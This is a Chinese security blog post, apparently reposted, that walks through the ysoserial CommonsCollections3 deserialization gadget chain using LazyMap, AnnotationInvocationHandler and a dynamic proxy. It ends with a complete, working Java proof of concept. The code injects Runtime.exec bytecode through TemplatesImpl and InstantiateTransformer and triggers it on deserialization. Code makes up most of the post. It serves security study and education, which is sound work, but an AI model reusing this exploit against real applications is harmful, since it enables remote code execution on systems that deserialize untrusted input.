当前位置:   article > 正文

ysoserial CommonsColletions3分析(2)_cc1是lazymap中的get方法触发。

cc1是lazymap中的get方法触发。

ysoserial CommonsColletions3分析(2)

上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链。

其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

和另一条链的区别:

主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap调用顺序有差异。

下图为LazyMap中的get方法

image-20210629141520558

构造调用链

前面都一样,利用javassist创建了一个攻击类放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//转换为byte数组

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

利用LazyMap的decorate方法,把chain赋值给factory

image-20210707225516492
Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);
  • 1
  • 2

后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get

image-20210707225819120

所以利用反射构造方法传入this.memberValues=LazyMap

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);
  • 1
  • 2
  • 3
  • 4

再使用动态代理触发AnnotationInvocationHandler的invoke方法

复习一个知识点:proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法

Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
  • 1
  • 2

最终POC

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//转换为byte数组

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map decorate = LazyMap.decorate(innerMap, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);

        Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);

        InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(anno2);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();

    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55

CC3就此分析完了,是不是觉得有点像CC1和CC2的结合版本,其实整个CC链来说,搞定了CC1和CC2,其他的都是这几个类的互相调用了,所以着重分析CC1和CC2哦。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Cpp五条/article/detail/694738
推荐阅读
相关标签
  

闽ICP备14008679号